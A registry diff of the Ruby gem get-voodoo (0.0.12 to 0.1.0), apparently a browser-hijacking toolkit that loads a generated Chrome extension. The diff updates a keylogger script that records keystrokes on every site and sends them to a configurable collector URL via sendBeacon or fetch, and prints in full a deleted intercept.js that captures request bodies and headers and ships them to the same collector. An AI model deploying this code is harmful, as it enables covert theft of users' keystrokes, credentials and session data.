get-voodoo 0.0.12 → 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/lib/voodoo/browser.rb +11 -23
- data/lib/voodoo/cli.rb +10 -27
- data/lib/voodoo/extension.rb +12 -7
- data/lib/voodoo/js/keylogger.js +4 -3
- data/lib/voodoo/js/voodoo.js +14 -13
- data/lib/voodoo/output.rb +0 -8
- metadata +2 -3
- data/lib/voodoo/js/intercept.js +0 -90
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 6e8e2178d211d0179e93ab412fc8cace43a66123f0066dd7ce4718d239700ac9
|
4
|
+
data.tar.gz: 4dea98486dbe10e781423ce2296f298d3602cac6b4901ac04df22c52206909ab
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 76dd0860f46f7922f23a9b714a68ec5f20971b77ec08e9233b0c774fcf47be8c2d1adbb359479e3f7173b712423d72bebfc8b361b0fccd7cf87c8839bc1a0a55
|
7
|
+
data.tar.gz: d61163401be6e9b06ef78cbbb1c26e195d55d7dff2bca5f67ae1565e2b19b0892caa69695b3fee368452b2df51f84e86e4c360ac348161d37372599e42f70e08
|
data/lib/voodoo/browser.rb
CHANGED
@@ -14,8 +14,9 @@ module VOODOO
|
|
14
14
|
@process_name = process_name
|
15
15
|
@collector_threads = []
|
16
16
|
|
17
|
-
@extension.manifest[:permissions] = ['tabs', '
|
18
|
-
|
17
|
+
@extension.manifest[:permissions] = ['tabs', 'storage']
|
18
|
+
matches = '*://*/*'
|
19
|
+
#@extension.add_content_script(matches, js: [File.join(__dir__, 'js/collector.js')])
|
19
20
|
end
|
20
21
|
|
21
22
|
def keylogger(matches: '*://*/*', max_events: nil)
|
@@ -25,30 +26,18 @@ module VOODOO
|
|
25
26
|
) do |event|
|
26
27
|
yield event
|
27
28
|
end
|
28
|
-
end
|
29
|
-
|
30
|
-
def intercept(matches: nil, url_include: nil, body_include: nil, header_exists: nil, max_events: nil)
|
31
|
-
options = {
|
32
|
-
matches: matches,
|
33
|
-
url_include: url_include,
|
34
|
-
body_include: body_include,
|
35
|
-
header_exists: header_exists
|
36
|
-
}
|
37
|
-
|
38
|
-
add_script(options: options,
|
39
|
-
background: true,
|
40
|
-
max_events: max_events,
|
41
|
-
file: File.join(__dir__, 'js/intercept.js')
|
42
|
-
) do |event|
|
43
|
-
yield event
|
44
|
-
end
|
45
|
-
end
|
29
|
+
end
|
46
30
|
|
47
31
|
def add_permissions(permissions)
|
48
32
|
permissions = [permissions] unless permissions.is_a? Array
|
49
33
|
@extension.manifest[:permissions] += permissions
|
50
34
|
end
|
51
35
|
|
36
|
+
def add_host_permissions(hosts)
|
37
|
+
hosts = [hosts] unless hosts.is_a? Array
|
38
|
+
@extension.manifest[:host_permissions] += hosts
|
39
|
+
end
|
40
|
+
|
52
41
|
def close_browser
|
53
42
|
# kill the browser process twise, to bypass close warning
|
54
43
|
`pkill -a -i "#{@process_name}"`
|
@@ -61,7 +50,7 @@ module VOODOO
|
|
61
50
|
|
62
51
|
urls = [urls] unless urls.kind_of? Array
|
63
52
|
urls = urls.uniq
|
64
|
-
|
53
|
+
|
65
54
|
`open -b "#{@bundle}" --args #{flags} --load-extension="#{@extension.save}" #{urls.shift}`
|
66
55
|
|
67
56
|
if urls.length > 0
|
@@ -153,12 +142,11 @@ module VOODOO
|
|
153
142
|
content = content % options
|
154
143
|
|
155
144
|
if background == true
|
156
|
-
return @extension.
|
145
|
+
return @extension.add_service_worker(content: content)
|
157
146
|
else
|
158
147
|
if matches == nil
|
159
148
|
matches = '*://*/*'
|
160
149
|
end
|
161
|
-
|
162
150
|
return @extension.add_content_script(matches, js: [content])
|
163
151
|
end
|
164
152
|
end
|
data/lib/voodoo/cli.rb
CHANGED
@@ -6,7 +6,7 @@ require 'voodoo/browser'
|
|
6
6
|
|
7
7
|
module VOODOO
|
8
8
|
|
9
|
-
VERSION = 'v0.0
|
9
|
+
VERSION = 'v0.1.0'
|
10
10
|
|
11
11
|
class CLI < Thor
|
12
12
|
|
@@ -14,30 +14,6 @@ module VOODOO
|
|
14
14
|
def version
|
15
15
|
puts VERSION
|
16
16
|
end
|
17
|
-
|
18
|
-
option :url_include, :type => :string, :aliases => :u, :default => nil
|
19
|
-
option :body_include, :type => :string, :aliases => :i, :default => nil
|
20
|
-
option :header_exists, :type => :string, :aliases => :h, :default => nil
|
21
|
-
option :format, :type => :string, :aliases => :f, :default => 'pretty', :desc => 'pretty, json, payload'
|
22
|
-
option :output, :type => :string, :aliases => :o, :desc => 'File path', :default => nil
|
23
|
-
option :urls, :type => :array, :aliases => :x, :default => []
|
24
|
-
option :matches, :type => :array, :aliases => :m, :default => ['<all_urls>']
|
25
|
-
option :browser, :type => :string, :aliases => :b, :default => 'chrome'
|
26
|
-
option :max_events, :type => :numeric, :default => nil
|
27
|
-
desc 'intercept', 'Intercept browser requests'
|
28
|
-
def intercept
|
29
|
-
browser = get_browser options[:browser]
|
30
|
-
output_handler = Output.new(file: options[:output], in_format: options[:format], for_command: 'intercept')
|
31
|
-
|
32
|
-
browser.intercept(matches: options[:matches],
|
33
|
-
url_include: options[:url_include],
|
34
|
-
body_include: options[:body_include],
|
35
|
-
max_events: options[:max_events]) do |event|
|
36
|
-
output_handler.handle(event)
|
37
|
-
end
|
38
|
-
|
39
|
-
browser.hijack options[:urls]
|
40
|
-
end
|
41
17
|
|
42
18
|
option :urls, :type => :array, :aliases => :x, :default => []
|
43
19
|
option :format, :type => :string, :aliases => :f, :default => 'pretty', :desc => 'pretty, json, payload, none'
|
@@ -56,7 +32,7 @@ module VOODOO
|
|
56
32
|
file = nil
|
57
33
|
content = nil
|
58
34
|
|
59
|
-
if File.
|
35
|
+
if File.exist? path_or_js
|
60
36
|
file = path_or_js
|
61
37
|
else
|
62
38
|
content = path_or_js
|
@@ -113,6 +89,10 @@ module VOODOO
|
|
113
89
|
if template['permissions']
|
114
90
|
browser.add_permissions template['permissions']
|
115
91
|
end
|
92
|
+
|
93
|
+
if template['host_permissions']
|
94
|
+
browser.add_host_permissions template['host_permissions']
|
95
|
+
end
|
116
96
|
|
117
97
|
output_format = options[:format]
|
118
98
|
is_default = output_format == 'none'
|
@@ -126,8 +106,11 @@ module VOODOO
|
|
126
106
|
template['scripts'].each do |script|
|
127
107
|
file = File.expand_path(File.join(pwd, script['file'])) if script['file']
|
128
108
|
content = script['content']
|
129
|
-
matches = script['matches']
|
109
|
+
matches = script['matches'] || ['*://*/*']
|
130
110
|
background = script['background'] || false
|
111
|
+
if background
|
112
|
+
matches = nil
|
113
|
+
end
|
131
114
|
communication = true
|
132
115
|
|
133
116
|
if script.keys.include? 'communication'
|
data/lib/voodoo/extension.rb
CHANGED
@@ -17,16 +17,17 @@ module VOODOO
|
|
17
17
|
author: '~',
|
18
18
|
description: '',
|
19
19
|
version: '0.0.1',
|
20
|
-
manifest_version:
|
21
|
-
background: {
|
22
|
-
scripts: []
|
23
|
-
},
|
20
|
+
manifest_version: 3,
|
24
21
|
permissions: [],
|
25
|
-
|
22
|
+
host_permissions: [],
|
23
|
+
content_scripts: [],
|
24
|
+
background: {
|
25
|
+
service_worker: nil
|
26
|
+
}
|
26
27
|
}
|
27
28
|
end
|
28
29
|
|
29
|
-
def
|
30
|
+
def add_service_worker(content: nil, file: nil)
|
30
31
|
if content == nil && file != nil
|
31
32
|
content = File.read file
|
32
33
|
end
|
@@ -34,7 +35,7 @@ module VOODOO
|
|
34
35
|
raise StandardError.new(':content or :file argument are required')
|
35
36
|
end
|
36
37
|
path = add_file(content, with_extension: '.js')
|
37
|
-
@manifest[:background][:
|
38
|
+
@manifest[:background][:service_worker] = path
|
38
39
|
end
|
39
40
|
|
40
41
|
def add_content_script(matches, js: [], css: [])
|
@@ -52,6 +53,10 @@ module VOODOO
|
|
52
53
|
|
53
54
|
def save
|
54
55
|
@manifest[:permissions] = @manifest[:permissions].uniq
|
56
|
+
service_worker = @manifest[:background][:service_worker]
|
57
|
+
if service_worker == nil || service_worker == ''
|
58
|
+
@manifest[:background].delete(:service_worker)
|
59
|
+
end
|
55
60
|
manifest_path = File.join(@folder, 'manifest.json')
|
56
61
|
File.write(manifest_path, JSON.generate(@manifest))
|
57
62
|
return @folder
|
data/lib/voodoo/js/keylogger.js
CHANGED
@@ -40,9 +40,10 @@
|
|
40
40
|
});
|
41
41
|
|
42
42
|
window.addEventListener("keydown", function (event) {
|
43
|
-
|
44
|
-
|
45
|
-
|
43
|
+
const path = event.composedPath();
|
44
|
+
if (lastElement !== path[0]) {
|
45
|
+
lastElement = path[0];
|
46
|
+
output += `\n[ELEMENT => ${describe(path[0])}]\n`;
|
46
47
|
}
|
47
48
|
if (event.key.length > 1) {
|
48
49
|
output += `[${event.key}]`;
|
data/lib/voodoo/js/voodoo.js
CHANGED
@@ -1,6 +1,4 @@
|
|
1
|
-
|
2
|
-
sessionStorage.setItem("tab_uuid", Math.random().toString(16).substring(2));
|
3
|
-
}
|
1
|
+
let tab_uuid = Math.random().toString(16).substring(2);
|
4
2
|
|
5
3
|
const VOODOO = {
|
6
4
|
options: { collector_url: "%{collector_url}" },
|
@@ -11,21 +9,24 @@ const VOODOO = {
|
|
11
9
|
chunk_string(str, length) {
|
12
10
|
return str.match(new RegExp('.{1,' + length + '}', 'g'));
|
13
11
|
},
|
14
|
-
is_bg_script: window.location.href.indexOf("_generated_background_page.html") !== -1,
|
15
12
|
send(body) {
|
16
13
|
if (!VOODOO.options.collector_url) {
|
17
14
|
return;
|
18
15
|
}
|
19
16
|
|
20
17
|
body = JSON.stringify(body);
|
21
|
-
|
22
|
-
|
23
|
-
|
18
|
+
if (navigator && navigator.sendBeacon) {
|
19
|
+
navigator.sendBeacon(VOODOO.options.collector_url, body);
|
20
|
+
} else {
|
21
|
+
fetch(VOODOO.options.collector_url, {
|
22
|
+
method: "POST",
|
23
|
+
headers: {
|
24
|
+
"Content-Type": "application/json"
|
25
|
+
},
|
26
|
+
mode: "no-cors",
|
27
|
+
body
|
28
|
+
});
|
24
29
|
}
|
25
|
-
|
26
|
-
chrome.runtime.sendMessage({
|
27
|
-
collector_url: VOODOO.options.collector_url, body
|
28
|
-
});
|
29
30
|
}
|
30
31
|
},
|
31
32
|
log(msg) {
|
@@ -56,8 +57,8 @@ const VOODOO = {
|
|
56
57
|
|
57
58
|
VOODOO.utils.send({
|
58
59
|
time: new Date().getTime(),
|
59
|
-
tab_uuid:
|
60
|
-
origin:
|
60
|
+
tab_uuid: tab_uuid,
|
61
|
+
origin: location.origin,
|
61
62
|
payload
|
62
63
|
});
|
63
64
|
|
data/lib/voodoo/output.rb
CHANGED
@@ -35,14 +35,6 @@ module VOODOO
|
|
35
35
|
case @command
|
36
36
|
when 'keylogger'
|
37
37
|
write event[:payload], with_print: true
|
38
|
-
when 'intercept'
|
39
|
-
req = event[:payload]
|
40
|
-
write "#{req[:method]} #{req[:url]}"
|
41
|
-
req[:body] = req[:body][0...97] + "..." if req[:body] && req[:body].length > 100
|
42
|
-
|
43
|
-
if req[:body]
|
44
|
-
write "BODY: #{event[:payload][:body]}"
|
45
|
-
end
|
46
38
|
else
|
47
39
|
write JSON.generate(event[:payload])
|
48
40
|
end
|
metadata
CHANGED
@@ -1,14 +1,14 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: get-voodoo
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 0.0
|
4
|
+
version: 0.1.0
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- Ron Masas
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date:
|
11
|
+
date: 2024-12-23 00:00:00.000000000 Z
|
12
12
|
dependencies:
|
13
13
|
- !ruby/object:Gem::Dependency
|
14
14
|
name: thor
|
@@ -80,7 +80,6 @@ files:
|
|
80
80
|
- lib/voodoo/collector.rb
|
81
81
|
- lib/voodoo/extension.rb
|
82
82
|
- lib/voodoo/js/collector.js
|
83
|
-
- lib/voodoo/js/intercept.js
|
84
83
|
- lib/voodoo/js/keylogger.js
|
85
84
|
- lib/voodoo/js/voodoo.js
|
86
85
|
- lib/voodoo/output.rb
|
data/lib/voodoo/js/intercept.js
DELETED
@@ -1,90 +0,0 @@
|
|
1
|
-
/**
|
2
|
-
* VOODOO Intercept
|
3
|
-
*/
|
4
|
-
(function () {
|
5
|
-
let options = {
|
6
|
-
body_include: "%{body_include}",
|
7
|
-
url_include: "%{url_include}",
|
8
|
-
collector_url: "%{collector_url}",
|
9
|
-
header_exists: "%{header_exists}"
|
10
|
-
};
|
11
|
-
|
12
|
-
let matches = "%{matches}";
|
13
|
-
|
14
|
-
if (options.header_exists) {
|
15
|
-
options.header_exists = options.header_exists.toLowerCase();
|
16
|
-
}
|
17
|
-
|
18
|
-
if (!Array.isArray(matches)) {
|
19
|
-
matches = [matches];
|
20
|
-
}
|
21
|
-
|
22
|
-
function parseBody(body) {
|
23
|
-
if (body.formData) {
|
24
|
-
return JSON.stringify(body.formData);
|
25
|
-
}
|
26
|
-
|
27
|
-
try {
|
28
|
-
return body.raw.map(data => String.fromCharCode.apply(null, new Uint8Array(data.bytes))).join('')
|
29
|
-
} catch {
|
30
|
-
return "";
|
31
|
-
}
|
32
|
-
}
|
33
|
-
|
34
|
-
const requests = new Map();
|
35
|
-
|
36
|
-
chrome.webRequest.onBeforeSendHeaders.addListener(function (e) {
|
37
|
-
const request = requests.get(e.requestId);
|
38
|
-
|
39
|
-
if (!request) {
|
40
|
-
return;
|
41
|
-
}
|
42
|
-
|
43
|
-
requests.delete(e.requestId);
|
44
|
-
request.headers = e.requestHeaders;
|
45
|
-
|
46
|
-
if (options.header_exists) {
|
47
|
-
let found = false;
|
48
|
-
for (let header of request.headers) {
|
49
|
-
if (header.name.toLowerCase() === options.header_exists) {
|
50
|
-
found = true;
|
51
|
-
break;
|
52
|
-
}
|
53
|
-
}
|
54
|
-
if (!found) {
|
55
|
-
return;
|
56
|
-
}
|
57
|
-
}
|
58
|
-
|
59
|
-
VOODOO.send(request);
|
60
|
-
}, { urls: matches }, ['requestHeaders', 'extraHeaders'])
|
61
|
-
|
62
|
-
chrome.webRequest.onBeforeRequest.addListener(
|
63
|
-
function (request) {
|
64
|
-
if (request.url.startsWith(options.collector_url)) {
|
65
|
-
return { cancel: false };
|
66
|
-
}
|
67
|
-
|
68
|
-
if (options.url_include && request.url.indexOf(options.url_include) === -1) {
|
69
|
-
return { cancel: false };
|
70
|
-
}
|
71
|
-
|
72
|
-
if (options.body_include && !request.requestBody) {
|
73
|
-
return { cancel: false };
|
74
|
-
}
|
75
|
-
|
76
|
-
if (request.requestBody) {
|
77
|
-
request.body = parseBody(request.requestBody);
|
78
|
-
delete request.requestBody;
|
79
|
-
if (options.body_include && request.body.indexOf(options.body_include) === -1) {
|
80
|
-
return { cancel: false };
|
81
|
-
}
|
82
|
-
}
|
83
|
-
|
84
|
-
requests.set(request.requestId, request);
|
85
|
-
return { cancel: false };
|
86
|
-
},
|
87
|
-
{ urls: matches },
|
88
|
-
['requestBody']
|
89
|
-
);
|
90
|
-
})();
|